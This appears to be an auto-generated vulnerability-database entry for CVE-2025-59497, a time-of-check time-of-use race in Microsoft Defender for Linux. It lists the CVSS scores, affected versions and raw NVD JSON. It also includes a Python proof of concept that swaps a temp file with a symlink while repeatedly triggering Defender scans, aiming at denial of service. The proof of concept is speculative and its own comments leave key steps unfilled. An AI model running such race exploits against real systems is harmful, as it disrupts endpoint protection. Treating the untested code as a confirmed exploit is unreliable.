Security Vulnerability Report
中文
CVE-2025-59497 CVSS 7.0 HIGH

CVE-2025-59497

Published: 2025-10-14 17:16:13
Last Modified: 2025-10-22 16:38:34

Description

Time-of-check time-of-use (toctou) race condition in Microsoft Defender for Linux allows an authorized attacker to deny service locally.

CVSS Details

CVSS Score
7.0
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:microsoft:defender_for_endpoint:*:*:*:*:*:linux:*:* - VULNERABLE
Microsoft Defender for Linux(所有未应用2025年10月安全补丁的版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-59497 - Microsoft Defender for Linux TOCTOU Race Condition PoC # This PoC demonstrates a TOCTOU race condition that may trigger # a denial-of-service condition in Microsoft Defender for Linux. import os import sys import threading import time import tempfile TARGET_FILE = "/tmp/mdav_target" SYMLINK_TARGET = "/dev/null" # Replace with a resource that causes crash/hang def race_condition_worker(stop_event): """Continuously swap the target file between a regular file and a symlink.""" counter = 0 while not stop_event.is_set(): try: if counter % 2 == 0: # Create a regular file if os.path.lexists(TARGET_FILE) or os.path.islink(TARGET_FILE): os.unlink(TARGET_FILE) with open(TARGET_FILE, 'w') as f: f.write("benign_content") else: # Replace with symlink to cause unexpected behavior if os.path.lexists(TARGET_FILE) or os.path.islink(TARGET_FILE): os.unlink(TARGET_FILE) os.symlink(SYMLINK_TARGET, TARGET_FILE) except OSError: pass counter += 1 time.sleep(0.0001) # Microsecond-level timing def trigger_defender_scan(): """Trigger Microsoft Defender for Linux to scan the target file repeatedly.""" # Adjust the path to match the Defender for Linux scan trigger mechanism # e.g., using 'mdatp' CLI or modifying monitored directories scan_cmd = "/usr/bin/mdatp scan custom --path /tmp/" for _ in range(100): os.system(scan_cmd) def main(): if os.geteuid() == 0: print("[!] This PoC should be run as a low-privilege user, not root.") sys.exit(1) print("[*] CVE-2025-59497 PoC - TOCTOU Race Condition in Microsoft Defender for Linux") print("[*] Starting race condition worker threads...") stop_event = threading.Event() threads = [] for _ in range(8): t = threading.Thread(target=race_condition_worker, args=(stop_event,)) t.daemon = True t.start() threads.append(t) print("[*] Triggering Defender scans to exploit the TOCTOU window...") try: trigger_defender_scan() except KeyboardInterrupt: pass finally: stop_event.set() for t in threads: t.join(timeout=2) if os.path.lexists(TARGET_FILE) or os.path.islink(TARGET_FILE): os.unlink(TARGET_FILE) print("[*] PoC finished.") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-59497", "sourceIdentifier": "[email protected]", "published": "2025-10-14T17:16:13.180", "lastModified": "2025-10-22T16:38:34.453", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Time-of-check time-of-use (toctou) race condition in Microsoft Defender for Linux allows an authorized attacker to deny service locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 4.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-367"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:defender_for_endpoint:*:*:*:*:*:linux:*:*", "versionEndExcluding": "101.25032.0010", "matchCriteriaId": "E704F0DE-37CB-40C0-9AE7-46A5B9FBF2F0"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59497", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}